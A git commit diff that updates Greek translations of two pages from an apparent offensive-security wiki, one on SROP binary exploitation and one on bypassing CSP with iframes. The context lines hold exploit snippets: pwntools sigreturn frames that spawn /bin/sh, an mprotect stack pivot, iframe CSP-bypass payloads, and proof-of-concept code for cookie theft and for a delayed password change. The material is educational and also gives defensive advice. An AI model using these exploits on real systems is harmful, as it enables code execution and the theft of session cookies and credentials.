Translated ['src/binary-exploitation/rop-return-oriented-programing/srop

This commit is contained in:
Translator 2025-08-19 21:11:53 +00:00
parent 9f9ac91f52
commit cc5296c716
2 changed files with 21 additions and 21 deletions

View File

@ -74,7 +74,7 @@ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
```
## Εκμετάλλευση
Η εκμετάλλευση εκμεταλλεύεται το bof για να επιστρέψει στην κλήση του **`sigreturn`** και να προετοιμάσει τη στοίβα για να καλέσει το **`execve`** με έναν δείκτη προς το `/bin/sh`.
Η εκμετάλλευση εκμεταλλεύεται το bof για να επιστρέψει στην κλήση του **`sigreturn`** και να προετοιμάσει τη στοίβα για να καλέσει το **`execve`** με έναν δείκτη στο `/bin/sh`.
```python
from pwn import *
@ -136,7 +136,7 @@ return 0;
<figure><img src="../../../images/image (17) (1).png" alt="" width="563"><figcaption></figcaption></figure>
Επομένως, αν διαρρεύσει, είναι δυνατόν να **χρησιμοποιηθεί αυτή η διεύθυνση για πρόσβαση σε ένα `sigreturn`** αν το δυαδικό αρχείο δεν το φορτώνει:
Επομένως, αν διαρρεύσει, είναι δυνατόν να **χρησιμοποιηθεί αυτή η διεύθυνση για να αποκτήσετε πρόσβαση σε ένα `sigreturn`** αν το δυαδικό αρχείο δεν το φορτώνει:
```python
from pwn import *
@ -165,13 +165,13 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
Για περισσότερες πληροφορίες σχετικά με το vdso, ελέγξτε:
Για περισσότερες πληροφορίες σχετικά με το vdso ελέγξτε:
{{#ref}}
../ret2vdso.md
{{#endref}}
Και για να παρακάμψετε τη διεύθυνση του `/bin/sh`, μπορείτε να δημιουργήσετε αρκετές μεταβλητές περιβάλλοντος που να δείχνουν σε αυτήν, για περισσότερες πληροφορίες:
Και για να παρακάμψετε τη διεύθυνση του `/bin/sh` μπορείτε να δημιουργήσετε αρκετές μεταβλητές περιβάλλοντος που να δείχνουν σε αυτήν, για περισσότερες πληροφορίες:
{{#ref}}
../../common-binary-protections-and-bypasses/aslr/
@ -189,13 +189,13 @@ python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/nul
# With rp++ ≥ 1.0.9 (arm64 support)
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigreturn
```
Και τα δύο εργαλεία κατανοούν τις κωδικοποιήσεις **AArch64** και θα παραθέσουν υποψήφιες ακολουθίες `mov x8, 0x8b ; svc #0` που μπορούν να χρησιμοποιηθούν ως *SROP gadget*.
Και τα δύο εργαλεία κατανοούν **AArch64** κωδικοποιήσεις και θα παραθέσουν υποψήφιες ακολουθίες `mov x8, 0x8b ; svc #0` που μπορούν να χρησιμοποιηθούν ως *SROP gadget*.
> Σημείωση: Όταν οι δυαδικοί κώδικες είναι συμπιεσμένοι με **BTI**, η πρώτη εντολή κάθε έγκυρου στόχου έμμεσης κλάσης είναι `bti c`. Οι τραμπόλινες `sigreturn` που τοποθετούνται από τον συνδέτη περιλαμβάνουν ήδη την σωστή πλατφόρμα προσγείωσης BTI, έτσι ώστε το gadget να παραμένει χρησιμοποιήσιμο από μη προνομιούχο κώδικα.
> Σημείωση: Όταν οι δυαδικοί κώδικες είναι συμπιεσμένοι με **BTI**, η πρώτη εντολή κάθε έγκυρου στόχου έμμεσης κλάσης είναι `bti c`. Οι τραμπόλινες `sigreturn` που τοποθετούνται από τον σύνδεσμο περιλαμβάνουν ήδη την σωστή πλατφόρμα προσγείωσης BTI, έτσι ώστε το gadget να παραμένει χρησιμοποιήσιμο από μη προνομιούχο κώδικα.
## Σύνδεση SROP με ROP (pivot μέσω `mprotect`)
`rt_sigreturn` μας επιτρέπει να ελέγχουμε *όλους* τους γενικούς καταχωρητές και το `pstate`. Ένα κοινό μοτίβο σε x86 είναι: 1) χρησιμοποιήστε SROP για να καλέσετε `mprotect`, 2) κάντε pivot σε μια νέα εκτελέσιμη στοίβα που περιέχει shell-code. Η ακριβώς ίδια ιδέα λειτουργεί και σε ARM64:
`rt_sigreturn` μας επιτρέπει να ελέγχουμε *όλους* τους γενικούς καταχωρητές και το `pstate`. Ένα κοινό μοτίβο σε x86 είναι: 1) χρησιμοποιήστε SROP για να καλέσετε `mprotect`, 2) pivot σε μια νέα εκτελέσιμη στοίβα που περιέχει shell-code. Η ακριβώς ίδια ιδέα λειτουργεί και σε ARM64:
```python
frame = SigreturnFrame()
frame.x8 = constants.SYS_mprotect # 226
@ -209,7 +209,7 @@ frame.pc = svc_call # will re-enter kernel
## Έλεγχος του πυρήνα, PAC & Shadow-Stacks
Το Linux 5.16 εισήγαγε αυστηρότερους ελέγχους των πλαισίων σήματος του χρήστη (commit `36f5a6c73096`). Ο πυρήνας τώρα ελέγχει:
Το Linux 5.16 εισήγαγε αυστηρότερο έλεγχο των πλαισίων σήματος του χρήστη (commit `36f5a6c73096`). Ο πυρήνας τώρα ελέγχει:
* `uc_flags` πρέπει να περιέχει `UC_FP_XSTATE` όταν υπάρχει `extra_context`.
* Η δεσμευμένη λέξη στη `struct rt_sigframe` πρέπει να είναι μηδέν.
@ -217,7 +217,7 @@ frame.pc = svc_call # will re-enter kernel
`pwntools>=4.10` κατασκευάζει αυτόματα συμμορφούμενα πλαίσια, αλλά αν τα κατασκευάσετε χειροκίνητα, βεβαιωθείτε ότι έχετε μηδενίσει το *reserved* και παραλείψτε το αρχείο SVE εκτός αν το χρειάζεστε πραγματικά—διαφορετικά, το `rt_sigreturn` θα παραδώσει `SIGSEGV` αντί να επιστρέψει.
Αρχίζοντας με το mainstream Android 14 και το Fedora 38, το userland είναι μεταγλωττισμένο με **PAC** (*Pointer Authentication*) και **BTI** ενεργοποιημένα από προεπιλογή (`-mbranch-protection=standard`). Το *SROP* από μόνο του δεν επηρεάζεται επειδή ο πυρήνας αντικαθιστά το `PC` απευθείας από το κατασκευασμένο πλαίσιο, παρακάμπτοντας το αυθεντικοποιημένο LR που αποθηκεύεται στη στοίβα. Ωστόσο, οποιαδήποτε **επόμενη αλυσίδα ROP** που εκτελεί έμμεσες κλάσεις πρέπει να πηδήξει σε εντολές που είναι ενεργοποιημένες για BTI ή σε διευθύνσεις PACed. Να το έχετε υπόψη σας όταν επιλέγετε gadgets.
Αρχίζοντας με το mainstream Android 14 και το Fedora 38, το userland είναι μεταγλωττισμένο με **PAC** (*Pointer Authentication*) και **BTI** ενεργοποιημένα από προεπιλογή (`-mbranch-protection=standard`). Το *SROP* από μόνο του δεν επηρεάζεται επειδή ο πυρήνας αντικαθιστά το `PC` απευθείας από το κατασκευασμένο πλαίσιο, παρακάμπτοντας το αυθεντικοποιημένο LR που αποθηκεύεται στη στοίβα. Ωστόσο, οποιαδήποτε **επόμενη αλυσίδα ROP** που εκτελεί έμμεσες κλάσεις πρέπει να πηδήξει σε εντολές που είναι ενεργοποιημένες για BTI ή σε διευθύνσεις PACed. Κρατήστε το αυτό στο μυαλό σας όταν επιλέγετε gadgets.
Οι Shadow-Call-Stacks που εισήχθησαν στο ARMv8.9 (και ήδη ενεργοποιημένες στο ChromeOS 1.27+) είναι μια μείωση σε επίπεδο μεταγλωττιστή και *δεν* παρεμβαίνουν στο SROP επειδή δεν εκτελούνται εντολές επιστροφής—η ροή ελέγχου μεταφέρεται από τον πυρήνα.

View File

@ -54,7 +54,7 @@ alert(parent.secret)
> Παρακαλώ, σημειώστε πώς στις παρακάτω παρακάμψεις η απάντηση στη σελίδα που είναι ενσωματωμένη σε iframe δεν περιέχει κανένα CSP header που να αποτρέπει την εκτέλεση JS.
Η τιμή `self` του `script-src` δεν θα επιτρέψει την εκτέλεση του JS κώδικα χρησιμοποιώντας το πρωτόκολλο `data:` ή το χαρακτηριστικό `srcdoc`.\
Ωστόσο, ακόμη και η τιμή `none` του CSP θα επιτρέψει την εκτέλεση των iframes που βάζουν μια διεύθυνση URL (ολοκληρωμένη ή απλώς τη διαδρομή) στο χαρακτηριστικό `src`.\
Ωστόσο, ακόμη και η τιμή `none` του CSP θα επιτρέψει την εκτέλεση των iframes που βάζουν μια διεύθυνση URL (ολόκληρη ή απλώς τη διαδρομή) στο χαρακτηριστικό `src`.\
Επομένως, είναι δυνατόν να παρακαμφθεί το CSP μιας σελίδας με:
```html
<html>
@ -76,12 +76,12 @@ id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
```
Σημειώστε ότι η **προηγούμενη CSP επιτρέπει μόνο την εκτέλεση του ενσωματωμένου script**.\
Σημειώστε ότι η **προηγούμενη CSP επιτρέπει μόνο την εκτέλεση του inline script**.\
Ωστόσο, **μόνο τα scripts `if1` και `if2` θα εκτελούνται, αλλά μόνο το `if1` θα μπορεί να έχει πρόσβαση στο γονικό μυστικό**.
![](<../../images/image (372).png>)
Επομένως, είναι δυνατόν να **παρακαμφθεί μια CSP αν μπορείτε να ανεβάσετε ένα αρχείο JS στον διακομιστή και να το φορτώσετε μέσω iframe ακόμη και με `script-src 'none'`**. Αυτό μπορεί **πιθανώς να γίνει επίσης εκμεταλλευόμενοι ένα endpoint JSONP της ίδιας τοποθεσίας**.
Επομένως, είναι δυνατόν να **παρακαμφθεί μια CSP αν μπορείτε να ανεβάσετε ένα αρχείο JS στον διακομιστή και να το φορτώσετε μέσω iframe, ακόμη και με `script-src 'none'`**. Αυτό μπορεί **πιθανώς να γίνει επίσης εκμεταλλευόμενοι ένα endpoint JSONP της ίδιας τοποθεσίας**.
Μπορείτε να το δοκιμάσετε με το παρακάτω σενάριο όπου ένα cookie κλέβεται ακόμη και με `script-src 'none'`. Απλώς εκτελέστε την εφαρμογή και αποκτήστε πρόσβαση σε αυτήν με τον περιηγητή σας:
```python
@ -107,7 +107,7 @@ app.run()
Η ερευνητική κοινότητα συνεχίζει να ανακαλύπτει δημιουργικούς τρόπους κατάχρησης των iframes για να παρακάμψει περιοριστικές πολιτικές. Παρακάτω μπορείτε να βρείτε τις πιο αξιοσημείωτες τεχνικές που δημοσιεύθηκαν τα τελευταία χρόνια:
* **Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023)** Όταν μια εφαρμογή ανακλά HTML αλλά μια ισχυρή CSP μπλοκάρει την εκτέλεση σεναρίων, μπορείτε να διαρρεύσετε ευαίσθητους κωδικούς εισάγοντας ένα *dangling* `<iframe name>` attribute. Μόλις η μερική markup αναλυθεί, το σενάριο του επιτιθέμενου που εκτελείται σε διαφορετική προέλευση πλοηγεί το πλαίσιο στο `about:blank` και διαβάζει το `window.name`, το οποίο τώρα περιέχει τα πάντα μέχρι τον επόμενο χαρακτήρα εισαγωγής (για παράδειγμα, ένα CSRF token). Δεδομένου ότι δεν εκτελείται JavaScript στο πλαίσιο του θύματος, η επίθεση συνήθως αποφεύγει το `script-src 'none'`. Ένα ελάχιστο PoC είναι:
* **Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023)** Όταν μια εφαρμογή ανακλά HTML αλλά μια ισχυρή CSP μπλοκάρει την εκτέλεση σεναρίων, μπορείτε να διαρρεύσετε ευαίσθητους κωδικούς εισάγοντας ένα *dangling* `<iframe name>` attribute. Μόλις η μερική markup αναλυθεί, το σενάριο του επιτιθέμενου που εκτελείται σε διαφορετική προέλευση πλοηγεί το πλαίσιο στο `about:blank` και διαβάζει το `window.name`, το οποίο τώρα περιέχει τα πάντα μέχρι τον επόμενο χαρακτήρα εισαγωγής (για παράδειγμα, ένα CSRF token). Επειδή δεν εκτελείται JavaScript στο πλαίσιο του θύματος, η επίθεση συνήθως αποφεύγει το `script-src 'none'`. Ένα ελάχιστο PoC είναι:
```html
<!-- Injection point just before a sensitive <script> -->
@ -130,13 +130,13 @@ s.nonce = n;
top.document.body.appendChild(s);
```
* **Form-action hijacking (PortSwigger 2024)** Μια σελίδα που παραλείπει την οδηγία `form-action` μπορεί να έχει τη φόρμα σύνδεσης *re-targeted* από ένα εισαγόμενο iframe ή inline HTML έτσι ώστε οι διαχειριστές κωδικών πρόσβασης να συμπληρώνουν αυτόματα και να υποβάλλουν διαπιστευτήρια σε εξωτερικό τομέα, ακόμη και όταν υπάρχει `script-src 'none'`. Πάντα να συμπληρώνετε το `default-src` με `form-action`!
* **Form-action hijacking (PortSwigger 2024)** Μια σελίδα που παραλείπει την οδηγία `form-action` μπορεί να έχει τη φόρμα σύνδεσης *re-targeted* από ένα εισαγόμενο iframe ή inline HTML έτσι ώστε οι διαχειριστές κωδικών πρόσβασης να συμπληρώνουν αυτόματα και να υποβάλλουν τα διαπιστευτήρια σε έναν εξωτερικό τομέα, ακόμη και όταν υπάρχει `script-src 'none'`. Πάντα να συμπληρώνετε το `default-src` με `form-action`!
**Αμυντικές σημειώσεις (γρήγορη λίστα ελέγχου)**
1. Πάντα να στέλνετε *όλες* τις οδηγίες CSP που ελέγχουν δευτερεύοντα πλαίσια (`form-action`, `frame-src`, `child-src`, `object-src`, κ.λπ.).
2. Μην βασίζεστε στο ότι οι nonces είναι μυστικές—χρησιμοποιήστε `strict-dynamic` **και** εξαλείψτε τα σημεία εισαγωγής.
3. Όταν πρέπει να ενσωματώσετε μη αξιόπιστα έγγραφα, χρησιμοποιήστε `sandbox="allow-scripts allow-same-origin"` **πολύ προσεκτικά** (ή χωρίς `allow-same-origin` αν χρειάζεστε μόνο απομόνωση εκτέλεσης σεναρίων).
3. Όταν πρέπει να ενσωματώσετε μη αξιόπιστα έγγραφα χρησιμοποιήστε `sandbox="allow-scripts allow-same-origin"` **πολύ προσεκτικά** (ή χωρίς `allow-same-origin` αν χρειάζεστε μόνο απομόνωση εκτέλεσης σεναρίων).
4. Σκεφτείτε μια ανάπτυξη COOP+COEP με άμυνα σε βάθος; το νέο `<iframe credentialless>` attribute (§ παρακάτω) σας επιτρέπει να το κάνετε αυτό χωρίς να σπάσετε τις ενσωματώσεις τρίτων.
### Άλλες Payloads που βρέθηκαν στην άγρια φύση <a href="#other_payloads_found_on_the_wild_64" id="#other_payloads_found_on_the_wild_64"></a>
@ -177,10 +177,10 @@ Tip: Οι σύγχρονοι περιηγητές υποστηρίζουν λε
Όπως εξηγείται σε [αυτό το άρθρο](https://blog.slonser.info/posts/make-self-xss-great-again/), η σημαία `credentialless` σε ένα iframe χρησιμοποιείται για να φορτώσει μια σελίδα μέσα σε ένα iframe χωρίς να στείλει διαπιστευτήρια στην αίτηση, διατηρώντας την πολιτική ίδιων προελεύσεων (SOP) της φορτωμένης σελίδας στο iframe.
Από **Chrome 110 (Φεβρουάριος 2023, η δυνατότητα είναι ενεργοποιημένη από προεπιλογή** και η προδιαγραφή τυποποιείται σε όλους τους περιηγητές υπό το όνομα *anonymous iframe*. Το MDN το περιγράφει ως: “ένας μηχανισμός για να φορτώνονται τρίτα iframes σε μια ολοκαίνουργια, εφήμερη αποθηκευτική διαίρεση, έτσι ώστε κανένα cookie, localStorage ή IndexedDB να μην μοιράζεται με την πραγματική προέλευση”. Συνεπειες για τους επιτιθέμενους και τους υπερασπιστές:
Από **Chrome 110 (Φεβρουάριος 2023, η δυνατότητα είναι ενεργοποιημένη από προεπιλογή** και η προδιαγραφή τυποποιείται σε όλους τους περιηγητές υπό το όνομα *anonymous iframe*. Το MDN το περιγράφει ως: “ένας μηχανισμός για να φορτώνονται τρίτα iframes σε μια ολοκαίνουργια, εφήμερη αποθηκευτική διαίρεση, έτσι ώστε κανένα cookie, localStorage ή IndexedDB να μην μοιράζεται με την πραγματική προέλευση”. Συνεπειες για τους επιτιθέμενους και τους αμυντικούς:
* Τα σενάρια σε διαφορετικά credentialless iframes **συνεχίζουν να μοιράζονται την ίδια κορυφαία προέλευση** και μπορούν να αλληλεπιδρούν ελεύθερα μέσω του DOM, καθιστώντας εφικτές τις επιθέσεις multi-iframe self-XSS (βλ. PoC παρακάτω).
* Επειδή το δίκτυο είναι **credential-stripped**, οποιοδήποτε αίτημα μέσα στο iframe συμπεριφέρεται ουσιαστικά ως μη αυθεντικοποιημένη συνεδρία οι προστατευμένες από CSRF τελικές σημεία συνήθως αποτυγχάνουν, αλλά οι δημόσιες σελίδες που είναι διαρρέουσες μέσω του DOM παραμένουν εντός πεδίου.
* Επειδή το δίκτυο είναι **credential-stripped**, οποιοδήποτε αίτημα μέσα στο iframe συμπεριφέρεται αποτελεσματικά ως μη αυθεντικοποιημένη συνεδρία οι προστατευμένες από CSRF τελικές σημεία συνήθως αποτυγχάνουν, αλλά οι δημόσιες σελίδες που είναι διαρρέουσες μέσω του DOM παραμένουν εντός πεδίου.
* Οι αναδυόμενες οθόνες που προέρχονται από ένα credentialless iframe αποκτούν μια έμμεση `rel="noopener"`, σπάζοντας ορισμένες ροές OAuth.
```javascript
// PoC: two same-origin credentialless iframes stealing cookies set by a third
@ -215,7 +215,7 @@ alert(window.top[1].document.cookie);
```
### fetchLater Attack
Όπως αναφέρεται σε [αυτό το άρθρο](https://blog.slonser.info/posts/make-self-xss-great-again/), το API `fetchLater` επιτρέπει τη ρύθμιση ενός αιτήματος να εκτελείται αργότερα (μετά από μια συγκεκριμένη χρονική περίοδο). Επομένως, αυτό μπορεί να καταχραστεί για παράδειγμα, να συνδεθεί ένα θύμα μέσα σε μια συνεδρία επιτιθέμενου (με Self-XSS), να ρυθμιστεί ένα αίτημα `fetchLater` (για να αλλάξει τον κωδικό πρόσβασης του τρέχοντος χρήστη για παράδειγμα) και να αποσυνδεθεί από τη συνεδρία του επιτιθέμενου. Στη συνέχεια, το θύμα συνδέεται στη δική του συνεδρία και το αίτημα `fetchLater` θα εκτελείται, αλλάζοντας τον κωδικό πρόσβασης του θύματος σε αυτόν που έχει ρυθμίσει ο επιτιθέμενος.
Όπως αναφέρεται σε [αυτό το άρθρο](https://blog.slonser.info/posts/make-self-xss-great-again/), το API `fetchLater` επιτρέπει τη ρύθμιση ενός αιτήματος να εκτελείται αργότερα (μετά από μια συγκεκριμένη χρονική περίοδο). Επομένως, αυτό μπορεί να καταχραστεί για παράδειγμα, για να συνδεθεί ένα θύμα μέσα σε μια συνεδρία επιτιθέμενου (με Self-XSS), να ρυθμίσει ένα αίτημα `fetchLater` (για να αλλάξει τον κωδικό πρόσβασης του τρέχοντος χρήστη για παράδειγμα) και να αποσυνδεθεί από τη συνεδρία του επιτιθέμενου. Στη συνέχεια, το θύμα συνδέεται στη δική του συνεδρία και το αίτημα `fetchLater` θα εκτελείται, αλλάζοντας τον κωδικό πρόσβασης του θύματος σε αυτόν που έχει ρυθμίσει ο επιτιθέμενος.
Με αυτόν τον τρόπο, ακόμη και αν η διεύθυνση URL του θύματος δεν μπορεί να φορτωθεί σε ένα iframe (λόγω CSP ή άλλων περιορισμών), ο επιτιθέμενος μπορεί να εκτελέσει ένα αίτημα στη συνεδρία του θύματος.
```javascript
@ -225,9 +225,9 @@ let arr = [minute, minute * 60, minute * 60 * 24, ...]
for (let timeout of arr)
fetchLater(req,{activateAfter: timeout})
```
## Iframes in SOP
## Iframes στο SOP
Δείτε τις παρακάτω σελίδες:
Ελέγξτε τις παρακάτω σελίδες:
{{#ref}}
../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md
@ -247,7 +247,7 @@ fetchLater(req,{activateAfter: timeout})
## References
## Αναφορές
* [PortSwigger Research Using form hijacking to bypass CSP (March 2024)](https://portswigger.net/research/using-form-hijacking-to-bypass-csp)
* [Chrome Developers Iframe credentialless: Easily embed iframes in COEP environments (Feb 2023)](https://developer.chrome.com/blog/iframe-credentialless)